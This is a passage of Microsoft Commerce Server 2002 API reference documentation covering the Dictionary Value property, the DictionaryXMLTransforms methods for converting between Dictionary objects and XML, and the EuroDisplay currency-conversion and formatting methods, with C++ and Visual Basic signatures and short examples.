[in] A BSTR that contains the name of the Dictionary key for which to retrieve a value or put a value.
bstrName [Visual Basic]
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
Value [C++]
[in] When putting the property, a VARIANT that contains the value to which the element specified by the key bstrName should be initialized.
[out, retval] When getting the property, a pointer to a VARIANT used to return the value of the key specified by the bstrName parameter.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details. If successful, this method returns S_OK. Otherwise, it returns an HRESULT indicating failure, and the Value out-value parameter is set to NULL.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] When reading the Value property using the get_Value method, if the key being accessed in the dictionary does not exist, a VARIANT of type VT_NULL is returned. Therefore, to logically delete a key from the dictionary, you can set the value for the key to VT_NULL and then to a client of the dictionary. It is indistinguishable from a key/value pair that does not exist. The Value parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] When putting a value, use the putref method if you are setting an object reference; use the put method if you are setting a scalar value.

[Visual Basic]

Example

' dDict is a Commerce.Dictionary object
' first_name is a Dictionary key
' v_first_name is a Variant
v_first_name = dDict.value("first_name")
v_first_name = dDict("first_name")

' use this form if the value contains an object reference:
Set oSubObject = dDict("myObjectKey")

' Property syntax
' Note: There is a slight performance penalty for using
' these forms because a special implementation of IDispatch is used
v_first_name = dDict.first_name
' If the key begins with an underscore then use braces around the key name
v_first_name = dDict.[_first_name]

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


DictionaryXMLTransforms Object [C++]

DictionaryXMLTransforms Object [Visual Basic]

Use this object to transform data from a Dictionary object into Extensible Markup Language (XML) and vice-versa, using a specified XML Data Reduced (XDR) schema.

In Commerce Server 2000, the DictionaryXMLTransforms object did not support Dictionary objects that contained SimpleList objects. An example of such a Dictionary object is an OrderForm object. In Commerce Server 2002 Enterprise Edition, the DictionaryXMLTransforms object supports these objects.

ProgID: | Commerce.DictionaryXMLTransforms (Externally creatable)
COM Class Name: | DictionaryXMLTransforms
Type Library Name: | Microsoft Commerce 2002 DictionaryXMLTransform Type Library
DLL Name: | DictionaryXMLTransforms.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DictionaryXMLTransforms
Interface ID Constant: | None
Header File: | None

Important

  • The DictionaryXMLTransforms object is only capable of processing dictionary keys with names that would be allowable as XML Node names. Allowable characters include A-Z and the underscore "_" character. Disallowed characters include"*", "\", and so forth, and foreign language characters.
  • Every dictionary key value must be URL-encoded.
[C++]

In C++, use the _DictionaryXMLTransforms interface to access the properties and methods of the DictionaryXMLTransforms object.

Methods

[C++]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.
[Visual Basic]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.

Remarks

The example code that calls this method can be found in the payment.asp and _recvpo.asp files. An example of the use of a XML schema can be found in the POSchema.xml file in the Solution Sites.

The following table lists the datatypes converted using the DictionaryXMLTransform object.

COM Variant Type | XML Data Type | VB function
VT_BSTR | string | string
VT_INT | int | Cint
VT_R8 | float | Cdbl
VT_BOOL | boolean | Cbool
VT_I1 | i1 | Cint
VT_I2 | i2 | Cdbl
VT_UI1 | ui1 | Cint
VT_UI2 | ui2 | Cdbl
VT_R4 | r4 | Cdbl
VT_I4 | i4 | long
Other | else | string

The middle column of the table lists the XML datatypes that can be specified in the XDR Schema for the Dictionary. For example, when generating the following XML using the DictionaryXMLTranform object:

<Items product_catalog="look there" quantity="2"/>

you can specify the data type used used by the property. First, use an XML editor, such as Biztalk Editor, to generate an XDR for the Dictionary. The XDR can be created by selecting the Export Schema option on the Tools menu of BizTalk Editor. By default, code in the XDR would appear similar to the following:

<AttributeType name="quantity" />
<AttributeType name="product_catalog" />

The values in the middle row can be used to set the datatype for the property. For example, to set the data type for the quantity property to int, and the product_catalog property to string, do the following:

  <AttributeType name="quantity" d:type="int" />
  <AttributeType name="product_catalog" d:type="string" />

See Also

General Purpose Objects

[C++] Dictionary Object

[Visual Basic] Dictionary Object


_DictionaryXMLTransforms Methods [C++]

DictionaryXMLTransforms Methods [Visual Basic]

Methods

[C++]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.
[Visual Basic]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.


_DictionaryXMLTransforms::GenerateSampleXMLInstanceFromDictionary Method [C++]

DictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary Method [Visual Basic]

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified Dictionary or OrderForm object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GenerateSampleXMLInstanceFromDictionary(
  IDictionary* Dictionary,
  BSTR ElementName,
  VARIANT_BOOL bIgnoreUnderScore,
  IXMLDOMNode** RetValue
);
[Visual Basic]
Function GenerateSampleXMLInstanceFromDictionary(
  Dictionary As Object,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object

Parameters

Dictionary [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the data to convert into XML.
Dictionary [Visual Basic]
A Dictionary object that contains the data to convert into XML.
ElementName [C++]
[in] A BSTR that contains the element name.
ElementName [Visual Basic]
A String that contains the element name.
bIgnoreUnderScore [C++]
[in] A VARIANT_BOOL that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
bIgnoreUnderScore [Visual Basic]
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
RetValue [C++]
[out, retval] The address of the pointer to the IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference used to return the XML instance.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot operate on OrderForms that have empty lists if the bIgnoreUnderScore parameter of this method is set to False.

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sElement is a string
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary(dDict, _
    sElement, TRUE)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::GenerateXMLForDictionaryUsingSchema Method [C++]

DictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema Method [Visual Basic]

Use this method to extract an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GenerateXMLForDictionaryUsingSchema(
  IDictionary* Dictionary,
  IXMLDOMDocument* xmlSchema,
  IXMLDOMNode** RetValue
);
[Visual Basic]
Function GenerateXMLForDictionaryUsingSchema(
  Dictionary As Object,
  xmlSchema As Object
) As Object

Parameters

Dictionary [C++]
[in] A pointer to the IDictionary interface of the Dictionary object to be converted.
Dictionary [Visual Basic]
A Dictionary object that contains the data to be converted.
xmlSchema [C++]
[in] A reference to the IXMLDOMDocument interface of the XMLDOMDocument object that contains the XML schema.
xmlSchema [Visual Basic]
An XMLDOMDocument object that contains the XML schema.
RetValue [C++]
[out, retval] A pointer to hold the reference to the returned IXMLDOMNode interface of a XMLDOMNode object, which will contain the XML instance.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an XMLDOMNode object that contains the XML schema.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object
' oXMLDOMDocument is a XMLDOMDocument object
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema(dDict, _
    oXMLDOMDocument)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::GetXMLFromFile Method [C++]

DictionaryXMLTransforms.GetXMLFromFile Method [Visual Basic]

Use this method to generate a XML Document Object Model (DOM) document from the specified file.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GetXMLFromFile(
  BSTR sFileName,
  IXMLDOMDocument** RetValue
);
[Visual Basic]
Function GetXMLFromFile(
  sFileName As String
) As Object

Parameters

sFileName [C++]
[in] A BSTR that contains the name of the file to convert.
sFileName [Visual Basic]
A String that contains the name of the file to convert.
RetValue [C++]
[out, retval] A pointer to hold the reference to the returned IXMLDOMDocument interface of the XMLDOMDocument object, which will contain the converted file data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to an XMLDOMDocument object containing the converted file data.

Error Values

This method does not return an error when the file specified by sFileName is an .exe file, a text file, an invalid XML file, or a non-existent file. The error type can only be found by viewing the ParseError property of the DOMDocument object.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyFileName.xml is a string
' oXMLDOMDocument is a XMLDOMDocument object
oXMLDOMDocument = _
    oDictionaryXMLTransforms.GetXMLFromFile("sMyFileName.xml")

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::ReconstructDictionaryFromXML Method [C++]

DictionaryXMLTransforms.ReconstructDictionaryFromXML Method [Visual Basic]

Use this method to transform the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::ReconstructDictionaryFromXML(
  BSTR szDictionaryXML,
  IXMLDOMDocument* xmlSchema,
  IDictionary** RetValue
);
[Visual Basic]
Function ReconstructDictionaryFromXML(
  szDictionaryXML As String,
  xmlSchema As Object
) As Object

Parameters

szDictionaryXML [C++]
[in] A BSTR that contains the XML instance.
szDictionaryXML [Visual Basic]
A String that contains the XML instance.
xmlSchema [C++]
[in] A reference to the IXMLDOMDocument interface of the XMLDOMDocument object that contains the XML schema used in the conversion.
xmlSchema [Visual Basic]
An object reference to a XMLDOMDocument object that contains the XML schema.
RetValue [C++]
[out, retval] The address of a pointer to receive an IDictionary interface of the reconstructed Dictionary object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object that contains the converted data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

This method performs the inverse operation of the GenerateXMLForDictionaryUsingSchema method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyXMLInstance is a string
' oXMLDOMDocument is a XMLDOMDocument object
dDict = _
oDictionaryXMLTransforms.ReconstructDictionaryFromXML(sMyXMLInstance, _
    oXMLDOMDocument)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


EuroDisplay Object [C++]

EuroDisplay Object [Visual Basic]

Use this object to convert and format currency amounts where multiple currencies must be displayed.

ProgID: | Commerce.EuroDisplay (Externally creatable)
COM Class Name: | EuroDisplay
Type Library Name: | Microsoft Commerce 2002 Euro Display Component Type Library
DLL Name: | EuroDisp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IEuroDisplay
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IEuroDisplay interface to access the properties and methods of the EuroDisplay object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency VARIANT.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency VARIANT.
ConvertMoney | Converts the specified currency VARIANT (representing a monetary value in the base currency) to a currency VARIANT representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency VARIANT, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency VARIANT, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.
[Visual Basic]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.
ConvertMoney | Converts the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


IEuroDisplay Methods [C++]

EuroDisplay Methods [Visual Basic]

Methods

[C++]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency VARIANT.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency VARIANT.
ConvertMoney | Converts the specified currency VARIANT (representing a monetary value in the base currency) to a currency VARIANT representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency VARIANT, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency VARIANT, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.
[Visual Basic]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.
ConvertMoney | Converts the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


IEuroDisplay::ConvertAltStringToCurr Method [C++]

EuroDisplay.ConvertAltStringToCurr Method [Visual Basic]

Use this method to convert a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.

Definition

[C++]
HRESULT IEuroDisplay::ConvertAltStringToCurr(
  VARIANT vtMoneyString,
  VARIANT* pvarNumber
);
[Visual Basic]
Function ConvertAltStringToCurr(
  vtMoneyString As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
pvarNumber [C++]
[out, retval] A pointer to a currency VARIANT used to return the converted currency information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant that contains the converted currency information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarNumber parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vResult is a Variant
vResult = oEuroDisp.ConvertAltStringToCurr("23,444.53886")
' In the preceding example, the variable vResult is
' internally rounded to 23444.5389

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertBaseStringToCurr

[C++] IEuroDisplay::FormatAltMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertBaseStringToCurr

[Visual Basic] EuroDisplay.FormatAltMoney


IEuroDisplay::ConvertBaseStringToCurr Method [C++]

EuroDisplay.ConvertBaseStringToCurr Method [Visual Basic]

Use this method to convert a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.

Definition

[C++]
HRESULT IEuroDisplay::ConvertBaseStringToCurr(
  VARIANT vtMoneyString,
  VARIANT* pvarNumber
);
[Visual Basic]
Function ConvertBaseStringToCurr(
  vtMoneyString As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
pvarNumber [C++]
[out, retval] A pointer to a currency VARIANT used to return the converted currency information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant that contains the converted currency information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarNumber parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vResult is a Variant
vResult = oEuroDisp.ConvertBaseStringToCurr("99,333.53886")
' In the preceding example, the variable vResult is
' internally rounded to 99333.5389

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertAltStringToCurr

[C++] IEuroDisplay::FormatBaseMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertAltStringToCurr

[Visual Basic] EuroDisplay.FormatBaseMoney


IEuroDisplay::ConvertMoney Method [C++]

EuroDisplay.ConvertMoney Method [Visual Basic]

Use this method to convert the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.

Definition

[C++]
HRESULT IEuroDisplay::ConvertMoney(
  VARIANT vtCurrVal,
  VARIANT* pvarConvVal
);
[Visual Basic]
Function ConvertMoney(
  vtCurrVal As Variant
) As Variant

Parameters

vtCurrVal [C++]
[in] A currency VARIANT representing a monetary value in the base currency.
vtCurrVal [Visual Basic]
A Variant that contains the monetary value in the base currency.
pvarConvVal [C++]
[out, retval] A pointer to a currency VARIANT representing a monetary value in the alternate currency.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant representing a monetary value in the alternate currency.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarConvVal parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<%
Dim Result
Set MSCSEuroDisplay= Server.CreateObject("Commerce.EuroDisplay")
MSCSEuroDisplay.Initialize "$$",1033,"FF",1036, 2
Result = MSCSEuroDisplay.ConvertMoney(100)
Response.Write "Converted $100 from $ to F ($1 = 2F) : " & Result & "<P>"
%>

See Also

[C++] EuroDisplay Object

[Visual Basic] EuroDisplay Object


IEuroDisplay::FormatAltMoney Method [C++]

EuroDisplay.FormatAltMoney Method [Visual Basic]

Use this method to create a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.

Definition

[C++]
HRESULT IEuroDisplay::FormatAltMoney(
  VARIANT vtConvMoney,
  BSTR* szAltMoney
);
[Visual Basic]
Function FormatAltMoney(
  vtConvMoney As Variant
) As String

Parameters

vtConvMoney [C++]
[in] A currency VARIANT that contains the monetary value to convert.
vtConvMoney [Visual Basic]
A currency Variant that contains the monetary value to convert.
szAltMoney [C++]
[out, retval] A pointer to a BSTR used to return the string representation of the specified currency VARIANT.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string representation of the specified currency Variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The szAltMoney parameter points to valid data only if the method returns successfully.

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vTest is a Currency Variant
' vResult is a String
vTest = "$ 20.00"
vResult = oEuroDisp.FormatAltMoney (vTest)
' In the preceding example, if the Alt Currency symbol string
' is "$" and the Alt locale identifier is 1033, vResult will
' contain the string, "$ 20.00"

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertAltStringToCurr

[C++] IEuroDisplay::FormatBaseMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertAltStringToCurr

[Visual Basic] EuroDisplay.FormatBaseMoney


IEuroDisplay::FormatBaseMoney Method [C++]

EuroDisplay.FormatBaseMoney Method [Visual Basic]

Use this method to create a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.

Definition

[C++]
HRESULT IEuroDisplay::FormatBaseMoney(
  VARIANT vtConvMoney,
  BSTR* szBaseMoney
);
[Visual Basic]
Function FormatBaseMoney(
  vtConvMoney As Variant
) As String

Parameters

vtConvMoney [C++]
[in] A currency VARIANT that contains the monetary value to convert.
vtConvMoney [Visual Basic]
A currency Variant that contains the monetary value to convert.
szBaseMoney [C++]
[out, retval] A BSTR used to return the string representation of the specified currency VARIANT.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string representation of the specified currency Variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The szBaseMoney parameter contains valid data only if the method returns successfully.

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vTest is a Currency Variant
' vResult is a String
vTest = "$ 40.08"
vResult = oEuroDisp.FormatBaseMoney (vTest)
' In the preceding example, if the Base Currency symbol string
' is "$" and the Base locale identifier is 1033, vResult will
' contain the string, "$ 40.08"

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertBaseStringToCurr

[C++] IEuroDisplay::FormatAltMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertBaseStringToCurr

[Visual Basic] EuroDisplay.FormatAltMoney


IEuroDisplay::Initialize Method [C++]

EuroDisplay.Initialize Method [Visual Basic]

Use this method to initialize the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Definition

[C++]
HRESULT IEuroDisplay::Initialize(
  BSTR szBaseCurr,
  long lBaseLCID,
  BSTR szAltCurr,
  long lAltLCID,
  double flEuroConvRate
);
[Visual Basic]
Sub Initialize(
  szBaseCurr As String,
  lBaseLCID As Long,
  szAltCurr As String,
  lAltLCID As Long,
  flEuroConvRate As Double
)

Parameters

szBaseCurr [C++]
[in] A BSTR that contains the base currency symbol string.
szBaseCurr [Visual Basic]
A String that contains the base currency symbol string.
lBaseLCID [C++]
[in] A long that contains the base locale identifier.
lBaseLCID [Visual Basic]
A Long that contains the base locale identifier.
szAltCurr [C++]
[in] A BSTR that contains the alternate currency symbol string.
szAltCurr [Visual Basic]
A String that contains the alternate currency symbol string.
lAltLCID [C++]
[in] A long that contains the alternate locale identifier.
lAltLCID [Visual Basic]
A Long that contains the alternate locale identifier.
flEuroConvRate [C++]
[in] A double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 0.63 Euros, and the alternate currency is Euro, then this parameter will have a value of 0.63.
flEuroConvRate [Visual Basic]
